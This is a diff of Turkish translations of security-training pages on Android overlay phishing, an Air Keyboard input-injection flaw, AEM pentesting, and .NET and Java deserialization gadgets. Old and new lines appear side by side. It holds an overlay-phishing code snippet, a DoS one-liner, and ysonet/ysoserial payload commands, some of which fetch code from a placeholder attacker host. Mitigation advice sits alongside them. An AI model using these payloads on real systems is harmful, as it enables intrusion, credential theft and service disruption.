> Bazen bir uygulamanın, bir izin talebini onaylama, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün niyet edilen amacını gizleyerek kullanıcının bu eylemleri gerçekleştirmesini sağlamak için sahtecilik yapmaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
>
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünüm tarafından kaplandığında alınan dokunmaları atlayacaktır. Sonuç olarak, görünüm, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde dokunmaları almayacaktır.
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları atlayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır.
|
||||
|
||||
---
|
||||
|
||||
## Accessibility Overlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
Klasik Tapjacking'in yanı sıra, modern Android bankacılık kötü amaçlı yazılım aileleri (örneğin, **ToxicPanda**, BrasDex, Sova, vb.) **Erişilebilirlik Hizmeti**'ni kötüye kullanarak meşru uygulamanın üzerine tam ekran bir WebView **kaplaması** yerleştirirken, kullanıcı girişini alttaki görünüme **iletme** yeteneğine de sahiptir. Bu, inandırıcılığı dramatik şekilde artırır ve saldırganların kimlik bilgilerini, OTP'leri çalmasına veya hatta dolandırıcılık işlemlerini otomatikleştirmesine olanak tanır.
|
||||
Klasik Tapjacking'in yanı sıra, modern Android bankacılık kötü amaçlı yazılım aileleri (örneğin, **ToxicPanda**, BrasDex, Sova, vb.) **Erişilebilirlik Hizmeti**'ni kötüye kullanarak meşru uygulamanın üzerine tam ekran bir WebView **kaplaması** yerleştirir ve hala **kullanıcı girişini** alttaki görünüme iletebilir. Bu, inandırıcılığı dramatik şekilde artırır ve saldırganların kimlik bilgilerini, OTP'leri çalmasına veya hatta dolandırıcılık işlemlerini otomatikleştirmesine olanak tanır.
|
||||
|
||||
### Nasıl çalışır
|
||||
1. Kötü niyetli APK, genellikle sahte bir Google/Chrome/PDF görüntüleyici diyalogunun arkasında gizlenen son derece hassas `BIND_ACCESSIBILITY_SERVICE` iznini talep eder.
|
||||
2. Kullanıcı hizmeti etkinleştirdiğinde, kötü amaçlı yazılım, ek tehlikeli izinleri vermek için gereken dokunuşları programatik olarak simüle eder (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Bir **WebView** şişirilir ve **`TYPE_ACCESSIBILITY_OVERLAY`** pencere türü kullanılarak pencere yöneticisine eklenir. Kaplama tamamen opak veya yarı saydam olarak render edilebilir ve orijinal dokunuşların arka plandaki aktiviteye hala iletilmesi için *“geçiş”* olarak işaretlenebilir (böylece işlem gerçekten gerçekleşirken kurban yalnızca phishing formunu görür).
|
||||
2. Kullanıcı hizmeti etkinleştirdiğinde, kötü amaçlı yazılım programatik olarak ek tehlikeli izinleri vermek için gereken dokunuşları simüle eder (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
|
||||
3. Bir **WebView** şişirilir ve **`TYPE_ACCESSIBILITY_OVERLAY`** pencere türü kullanılarak pencere yöneticisine eklenir. Kaplama tamamen opak veya yarı saydam olarak render edilebilir ve orijinal dokunuşların arka plan aktivitesine hala iletilmesi için *“içinden”* olarak işaretlenebilir (böylece işlem gerçekten gerçekleşirken kurban yalnızca phishing formunu görür).
|
||||
```java
|
||||
WebView phishingView = new WebView(getApplicationContext());
|
||||
phishingView.getSettings().setJavaScriptEnabled(true);
|
||||
@ -88,16 +88,16 @@ wm.addView(phishingView, lp);
|
||||
### Tipik bankacılık Trojanları tarafından kullanılan iş akışı
|
||||
* Hangi bankacılık / cüzdan uygulamasının şu anda açık olduğunu belirlemek için yüklü paketleri sorgulayın (`QUERY_ALL_PACKAGES`).
|
||||
* O belirli uygulamayı mükemmel bir şekilde taklit eden bir **HTML/JS overlay şablonu** C2'den indirin (Logo, renkler, i18n dizeleri…).
|
||||
* Overlay'i görüntüleyin, kimlik bilgilerini/PIN'i/deseni toplayın.
|
||||
* Overlay'i gösterin, kimlik bilgilerini/PIN'i/deseni toplayın.
|
||||
* Arka planda transferleri otomatikleştirmek için **Erişilebilirlik API'sini** (`performGlobalAction`, `GestureDescription`) kullanın.
|
||||
|
||||
### Tespit ve Azaltma
|
||||
* Yüklü uygulamaların listesini `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE` ile denetleyin.
|
||||
* Yüklü uygulama listesini `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE` ile denetleyin.
|
||||
* Uygulama tarafında (banka / cüzdan):
|
||||
- Hassas görünümler için **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) etkinleştirin, böylece Play Store dışındaki hizmetleri engelleyin.
|
||||
- `setFilterTouchesWhenObscured(true)` ve `FLAG_SECURE` ile birleştirin.
|
||||
* Sistem güçlendirme:
|
||||
- *Bilinmeyen Kaynaklardan Yükle* ve *Güvenilmeyen uygulamalar için Erişilebilirlik* seçeneklerini devre dışı bırakın.
|
||||
- *Bilinmeyen Kaynaklardan Yükleme* ve *Güvenilmeyen uygulamalar için Erişilebilirlik* seçeneklerini devre dışı bırakın.
|
||||
- PlayProtect'i zorlayın ve güncel cihazlar kullanın.
|
||||
|
||||
## Referanslar
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
Ticari **“Air Keyboard”** uygulamasının iOS versiyonu (App Store ID 6463187929), **herhangi bir kimlik doğrulama veya kaynak doğrulaması olmadan tuş vuruşu çerçevelerini kabul eden** bir yerel ağ hizmeti sunmaktadır. Yüklenen versiyona bağlı olarak hizmet ya:
|
||||
|
||||
* **≤ 1.0.4** – **port 8888** üzerinde 2 baytlık bir uzunluk başlığı bekleyen ham TCP dinleyici ve ardından bir *device-id* ve ASCII yükü.
|
||||
* **≤ 1.0.4** – **port 8888** üzerinde 2 baytlık bir uzunluk başlığı bekleyen ham TCP dinleyici, ardından bir *device-id* ve ASCII yükü gelir.
|
||||
* **≥ 1.0.5 (Haziran 2025)** – **WebSocket** dinleyici, *aynı* portta (**8888**) **JSON** anahtarlarını ayrıştırır, örneğin `{"type":1,"text":"…"}`.
|
||||
|
||||
Bu nedenle, aynı Wi-Fi / alt ağdaki herhangi bir cihaz, **kurbanın telefonuna rastgele klavye girişi enjekte edebilir ve tam uzaktan etkileşim ele geçirme** gerçekleştirebilir.
|
||||
Bu nedenle, aynı Wi-Fi / alt ağdaki herhangi bir cihaz, **kurbanın telefonuna keyfi klavye girişi enjekte edebilir ve tam uzaktan etkileşim ele geçirme** gerçekleştirebilir.
|
||||
Bir Android sürümü **port 55535** üzerinde dinlemektedir. Zayıf bir AES-ECB el sıkışması gerçekleştirir, ancak oluşturulmuş çöp veriler hala **OpenSSL içinde işlenmemiş bir istisna** oluşturur ve arka plan hizmetini çökertir (**DoS**).
|
||||
|
||||
> Güvenlik açığı **yazım tarihi itibarıyla (Temmuz 2025)** **hala yamanmamıştır** ve uygulama App Store'da mevcut olmaya devam etmektedir.
|
||||
> Güvenlik açığı **yazım tarihi itibarıyla (Temmuz 2025) hala yamanmamıştır** ve uygulama App Store'da mevcut olmaya devam etmektedir.
|
||||
|
||||
---
|
||||
|
||||
@ -108,7 +108,7 @@ print("[+] URL opened on target browser")
|
||||
|
||||
## 4. Android Companion – Hizmet Reddi
|
||||
|
||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı ile şifrelenmiş 4 karakterli bir şifre** ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, meşru kullanıcıların bağlantısının kesilmesi için yeterlidir, ta ki işlem yeniden başlatılana kadar.
|
||||
Android portu (55535), **hard-coded AES-128-ECB anahtarı ile şifrelenmiş 4 karakterli bir şifre** ve ardından rastgele bir nonce bekler. Ayrıştırma hataları `AES_decrypt()` fonksiyonuna yükselir ve yakalanmaz, dinleyici iş parçacığını sonlandırır. Bu nedenle, tek bir hatalı paket, sürecin yeniden başlatılana kadar meşru kullanıcıların bağlantısının kesilmesi için yeterlidir.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -119,11 +119,11 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
Air Keyboard **izole bir durum değildir**. Diğer mobil “uzaktan klavye/fare” araçları da aynı hatayla piyasaya sürülmüştür:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 kimlik doğrulaması yapılmamış komut yürütme ve düz metin tuş kaydı sağlar.
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 kimlik doğrulaması yapılmamış komut yürütme ve düz metin tuş kaydı iznine sahiptir.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 kimlik doğrulaması yapılmamış RCE & trafik dinleme.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 varsayılan-şifre-yok, zayıf PIN brute-force ve düz metin sızıntısı.
|
||||
|
||||
Bu durumlar, **mobil uygulamalardaki ağ yüzeylerine yönelik sistematik bir ihmal** olduğunu vurgulamaktadır.
|
||||
Bu durumlar, **mobil uygulamalardaki ağ yönlü saldırı yüzeylerinin** sistematik bir ihmalini vurgulamaktadır.
|
||||
|
||||
---
|
||||
|
||||
@ -131,11 +131,11 @@ Bu durumlar, **mobil uygulamalardaki ağ yüzeylerine yönelik sistematik bir ih
|
||||
|
||||
1. Gelen çerçeveler üzerinde **kaynak / bütünlük kontrollerinin olmaması** (iOS).
|
||||
2. **Kriptografik kötüye kullanım** (statik anahtar, ECB, uzunluk doğrulamasının eksikliği) ve **istisna işleme eksikliği** (Android).
|
||||
3. **Kullanıcı tarafından verilen Yerel Ağ yetkisi ≠ güvenlik** – iOS, LAN trafiği için çalışma zamanı onayı ister, ancak bu uygun kimlik doğrulamanın yerini almaz.
|
||||
3. **Kullanıcı tarafından verilen Yerel Ağ yetkisi ≠ güvenlik** – iOS, LAN trafiği için çalışma zamanı onayı talep eder, ancak bu uygun kimlik doğrulamanın yerini almaz.
|
||||
|
||||
---
|
||||
|
||||
## 7. Güçlendirme & Savunma Önlemleri
|
||||
## 7. Güçlendirme ve Savunma Önlemleri
|
||||
|
||||
Geliştirici önerileri:
|
||||
|
||||
@ -147,8 +147,8 @@ Geliştirici önerileri:
|
||||
Mavi/Kırmızı Takım hızlı kazanımları:
|
||||
|
||||
* **Ağ avı:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` veya Wireshark filtresi `tcp.port == 8888`.
|
||||
* **Çalışma zamanı denetimi:** Beklenmedik dinleyicileri listelemek için `socket()`/`NWConnection`'ı yakalayan Frida script.
|
||||
* **iOS Uygulama Gizlilik Raporu (Ayarlar ▸ Gizlilik & Güvenlik ▸ Uygulama Gizlilik Raporu)**, LAN adresleriyle iletişim kuran uygulamaları vurgular – sahte hizmetleri tespit etmek için faydalıdır.
|
||||
* **Çalışma zamanı denetimi:** Beklenmedik dinleyicileri listelemek için `socket()`/`NWConnection`'ı yakalayan Frida scripti.
|
||||
* **iOS Uygulama Gizlilik Raporu (Ayarlar ▸ Gizlilik & Güvenlik ▸ Uygulama Gizlilik Raporu)** LAN adresleriyle iletişim kuran uygulamaları vurgular – sahte hizmetleri tespit etmek için faydalıdır.
|
||||
* **Mobil EDR'ler**, port 8888 üzerindeki düz metin TCP yüklerinde `"selectionStart"`, `"selectionEnd"` JSON anahtarları için basit Yara-L kuralları ekleyebilir.
|
||||
|
||||
---
|
||||
@ -168,6 +168,6 @@ echo -n \"$p → \"; cat /proc/$p/cmdline; done"
|
||||
## Referanslar
|
||||
|
||||
- [Exploit-DB 52333 – Air Keyboard iOS Uygulaması 1.0.5 Uzaktan Girdi Enjeksiyonu](https://www.exploit-db.com/exploits/52333)
|
||||
- [Mobile-Hacker Blog (17 Tem 2025) – Air Keyboard iOS Uygulamasındaki Uzaktan Girdi Enjeksiyonu Açığı Hala Yamanmamış](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
- [Mobile-Hacker Blog (17 Tem 2025) – Air Keyboard iOS Uygulamasında Hala Yamanmamış Uzaktan Girdi Enjeksiyonu Açığı](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,9 +28,9 @@ Diğer hızlı göstergeler:
|
||||
Path | Ne elde edersiniz | Notlar
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR düğümleri aracılığıyla **DefaultGetServlet** | Genellikle engellenir, ancak *Dispatcher bypass* (aşağıya bakın) çalışır.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adları sızıntısı.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adlarının sızıntısı.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsolu | Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Paket Yöneticisi | Kimlik doğrulaması yapılmış içerik paketlerine izin verir → JSP yükleme.
|
||||
`/crx/packmgr/index.jsp` | Paket Yöneticisi | Kimlik doğrulamalı içerik paketlerine izin verir → JSP yükleme.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Konsolu | Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Denetim günlükleri | Bilgi ifşası.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dökümü | XSS vektörü.
|
||||
@ -93,7 +93,7 @@ jcr:data=<% out.println("pwned"); %>
|
||||
|
||||
## 6. Araçlar
|
||||
|
||||
* **aem-hacker** – İsviçre çakısı benzeri sayım scripti, dispatcher atlatma, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
|
||||
* **aem-hacker** – İsviçre çakısı benzeri sayım scripti, dispatcher bypass, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
|
||||
@ -7,7 +7,7 @@ Bu yazı, **ObjectDataProvider gadget'ının nasıl istismar edildiğini** anlam
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur._\
|
||||
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** olanak tanır, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\
|
||||
Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\
|
||||
Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.**
|
||||
|
||||
### **Bu nasıl mümkün**
|
||||
@ -22,7 +22,7 @@ Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılı
|
||||
|
||||
.png>)
|
||||
|
||||
Tamam, `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
|
||||
Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,10 +56,10 @@ Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Fram
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Önceki istismarı kullanarak, **nesnenin** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (örneğin `Process`). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
|
||||
Önceki istismarı kullanarak, **nesnenin** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` örneğin). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
|
||||
|
||||
Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
|
||||
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** olan _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
|
||||
Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**.
|
||||
|
||||
Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz:
|
||||
```java
|
||||
@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği** belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
|
||||
[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz.
|
||||
|
||||
### Json.Net örneği
|
||||
|
||||
@ -191,11 +191,11 @@ Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulam
|
||||
Aşağıda, *YSoNet* ile birlikte gönderilen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı ve bunların nasıl çalıştığına dair hızlı bir açıklama ile payload'ları oluşturmak için örnek komutlar bulunmaktadır.
|
||||
|
||||
| Gadget Zinciri | Ana Fikir / Primitive | Yaygın Serileştiriciler | YSoNet tek satır |
|
||||
|----------------|-----------------------|------------------------|------------------|
|
||||
|----------------|-----------------------|-------------------------|------------------|
|
||||
| **TypeConfuseDelegate** | `DelegateSerializationHolder` kaydını bozar, böylece, malzeme haline geldiğinde, delegate *herhangi bir* saldırgan tarafından sağlanan metoda (örn. `Process.Start`) işaret eder | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | `System.Workflow.ComponentModel.ActivitySurrogateSelector`'ı kötüye kullanarak *bypass .NET ≥4.8 type-filtering* yapar ve sağlanan bir sınıfın **constructor**'ını doğrudan çağırır veya bir C# dosyasını anında **derler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `<ColumnMapping>` / `<DataType>` alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak `--spoofedAssembly` ile assembly'i sahte gösterir) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve `System.CodeDom.Compiler.CompilerResults`'a ulaşır, ardından `-c` ile sağlanan bir DLL'yi *derler* veya *yükler* | `Json.NET` typesiz, `MessagePack` typesiz | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **DataSetOldBehaviour** | `System.Data.DataSet`'in **eski XML** temsilini kullanarak `<ColumnMapping>` / `<DataType>` alanlarını doldurarak keyfi türleri başlatır (isteğe bağlı olarak `--spoofedAssembly` ile assembly'i sahteleyerek) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | WPF destekli çalışma zamanlarında (> .NET 5) özellik getter'larını zincirler ve `System.CodeDom.Compiler.CompilerResults`'a ulaşır, ardından `-c` ile sağlanan bir DLL'yi *derler* veya *yükler* | `Json.NET` türsüz, `MessagePack` türsüz | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (gözden geçirme) | WPF `System.Windows.Data.ObjectDataProvider`'ı kullanarak kontrol edilen argümanlarla keyfi bir statik metodu çağırır. YSoNet, kötü niyetli XAML'yi uzaktan barındırmak için kullanışlı bir `--xamlurl` varyantı ekler | `BinaryFormatter`, `Json.NET`, `XAML`, *vb.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `System.Management.Automation.PSObject` içine `ScriptBlock` gömülür ve bu, PowerShell nesneyi deseralize ettiğinde çalışır | PowerShell uzaktan erişim, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
@ -219,7 +219,7 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
Derlenmiş `ysonet.exe` daha sonra `ysonet/bin/Release/` altında bulunabilir.
|
||||
|
||||
### Tespit ve Güçlendirme
|
||||
* **Beklenmeyen** `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan verileri (örneğin `MessagePack`, `Json.NET`) serileştiren herhangi bir süreç için çocuk süreçleri tespit edin.
|
||||
* **Beklenmeyen** `w3wp.exe`, `PowerShell.exe` veya kullanıcı tarafından sağlanan verileri (örneğin `MessagePack`, `Json.NET`) deseralize eden herhangi bir süreç için çocuk süreçleri tespit edin.
|
||||
* Eski `BinaryFormatter` / `NetDataContractSerializer` kaldırılamadığında, **tip filtrelemeyi** etkinleştirin ve **zorlayın** (`TypeFilterLevel` = *Full*, özel `SurrogateSelector`, `SerializationBinder`, *vb.*).
|
||||
* Mümkünse **`System.Text.Json`** veya **`DataContractJsonSerializer`** ile beyaz listeye dayalı dönüştürücülere geçin.
|
||||
* Asla ihtiyaç duymaması gereken web süreçlerinde tehlikeli WPF derlemelerinin (`PresentationFramework`, `System.Workflow.*`) yüklenmesini engelleyin.
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu POST'ta `java.io.Serializable` kullanarak bir örnek açıklanacak **ve neden `readObject()`'in geçerli bir akış saldırgan kontrolündeyse son derece tehlikeli olabileceği** anlatılacak.
|
||||
Bu POST'ta `java.io.Serializable` kullanarak bir örnek açıklanacak **ve neden `readObject()`'ın geçerli bir akış saldırgan kontrolündeyse son derece tehlikeli olabileceği** anlatılacak.
|
||||
|
||||
## Serializable
|
||||
|
||||
@ -18,7 +18,7 @@ Java `Serializable` arayüzü (`java.io.Serializable`), sınıflarınızın **se
|
||||
|
||||
O zincirdeki herhangi bir yöntem, saldırgan kontrolündeki verileri (komut yürütme, JNDI aramaları, yansıma vb.) çağırırsa, serileştirme rutini bir RCE gadget'ına dönüşür.
|
||||
|
||||
**Serileştirilebilir** olan bir **Person** sınıfı ile bir örneğe bakalım. Bu sınıf **readObject** fonksiyonunu **geçersiz kılar**, bu nedenle bu **sınıfın** **herhangi bir nesnesi** **serileştirildiğinde** bu **fonksiyon** **çalıştırılacaktır**.\
|
||||
**Serileştirilebilir** olan bir **Person** sınıfı ile bir örneğe bakalım. Bu sınıf **readObject** fonksiyonunu **aşırı yükler**, böylece bu **sınıfın** **herhangi bir nesnesi** **serileştirildiğinde** bu **fonksiyon** **çalıştırılacaktır**.\
|
||||
Örnekte, Person sınıfının **readObject** fonksiyonu, evcil hayvanının `eat()` fonksiyonunu çağırır ve bir Köpek'in `eat()` fonksiyonu (bir sebepten dolayı) **calc.exe**'yi çağırır. **Bu hesap makinesini çalıştırmak için bir Person nesnesini nasıl serileştirip serileştireceğimizi göreceğiz:**
|
||||
|
||||
**Aşağıdaki örnek <https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649> adresinden alınmıştır.**
|
||||
@ -104,7 +104,7 @@ Bu çok temel örnekte görüldüğü gibi, buradaki “zayıflık” **readObje
|
||||
* 2023 – CVE-2023-36480: Aerospike Java istemcisi güvenilir sunucu varsayımı kırıldı – kötü niyetli sunucu yanıtları, istemci tarafından deserialized edilen serileştirilmiş yükler içeriyordu → RCE. ²
|
||||
* 2023 – CVE-2023-25581: `pac4j-core` kullanıcı profili öznitelik ayrıştırması `{#sb64}` ile başlayan Base64 blob'larını kabul etti ve `RestrictedObjectInputStream` olmasına rağmen bunları deserialized etti. 4.0.0 veya üstü sürüme yükseltin.
|
||||
* 2023 – CVE-2023-4528: JSCAPE MFT Manager Service (port 10880) XML kodlu Java nesnelerini kabul etti ve bu da root/SYSTEM olarak RCE'ye yol açtı.
|
||||
* 2024 – Bazı eski filtreleri atlayan Hibernate5, TomcatEmbed ve SnakeYAML 2.x sınıflarını içeren yeni gadget zincirleri ysoserial-plus(mod) ile eklendi.
|
||||
* 2024 – Eski filtreleri atlayan Hibernate5, TomcatEmbed ve SnakeYAML 2.x sınıflarını içeren birden fazla yeni gadget zinciri ysoserial-plus(mod) eklendi.
|
||||
|
||||
## Uygulamanız gereken modern önlemler
|
||||
|
||||
@ -120,7 +120,7 @@ var filter = ObjectInputFilter.Config.createFilter("com.example.dto.*;java.base/
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
2. **JEP 415 (Java 17+) Bağlama Özel Filtre Fabrikaları** – her yürütme bağlamı için (örneğin, her RMI çağrısı, her mesaj kuyruğu tüketicisi) farklı filtreler uygulamak için bir `BinaryOperator<ObjectInputFilter>` kullanın.
|
||||
3. **Ham `ObjectInputStream`'i ağda açığa çıkarmayın** – kod yürütme anlamı taşımayan JSON/Binary kodlamalarını tercih edin (Jackson `DefaultTyping` devre dışı bırakıldıktan sonra, Protobuf, Avro, vb.).
|
||||
3. **Ham `ObjectInputStream`'i ağda açmayın** – kod yürütme anlamı taşımayan JSON/Binary kodlamalarını tercih edin (Jackson `DefaultTyping` devre dışı bırakıldıktan sonra, Protobuf, Avro, vb.).
|
||||
4. **Derinlikte Savunma sınırları** – maksimum dizi uzunluğu, derinlik, referanslar ayarlayın:
|
||||
```bash
|
||||
-Djdk.serialFilter="maxbytes=16384;maxdepth=5;maxrefs=1000"
|
||||
@ -135,14 +135,14 @@ java -jar ysoserial-plus.jar CommonsCollections6 'calc' | base64 -w0
|
||||
```
|
||||
* `marshalsec` – JNDI gadget üretimi için hala referans.
|
||||
